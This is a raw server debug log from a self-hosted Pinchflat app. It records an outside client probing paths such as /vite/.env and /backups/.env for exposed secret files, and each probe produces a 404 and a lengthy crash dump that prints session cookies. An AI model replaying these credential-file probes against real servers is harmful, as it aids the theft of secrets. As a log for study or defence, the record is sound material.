"ef409ae1"} ], request_path: "/svelte/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6tJbMaNtiuMAASGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/svelte/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 135, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /svelte/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/svelte/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 135, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:18.354 [info] GET /vite/.env 02:10:18.355 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=177.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.355 [debug] QUERY OK source="settings" db=0.3ms idle=123.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.356 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.356 [error] #PID<0.3440.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 136) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /vite/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vite/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 136, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3440.0>, params: %{}, path_info: ["vite", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/vite/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6tYISPoKwA0AASHB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 136, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /vite/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/vite/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 136, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:18.427 [info] GET /backup/.env 02:10:18.428 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=195.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.429 [debug] QUERY OK source="settings" db=0.3ms idle=135.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.429 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.430 [error] #PID<0.3441.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 137) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /backup/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 137, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3441.0>, params: %{}, path_info: ["backup", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/backup/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6tpqbedf3QoAASIB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 137, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 137, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: (truncated) 02:10:18.502 [info] GET /backups/.env 02:10:18.503 [debug] QUERY OK source="settings" db=0.6ms idle=208.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.504 [debug] QUERY OK source="settings" db=0.2ms idle=148.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:18.504 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:18.505 [error] #PID<0.3442.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 138) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /backups/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backups/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 138, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3442.0>, params: %{}, path_info: ["backups", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/backups/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6t7bCYL9odMAASJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 138, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backups/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backups/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 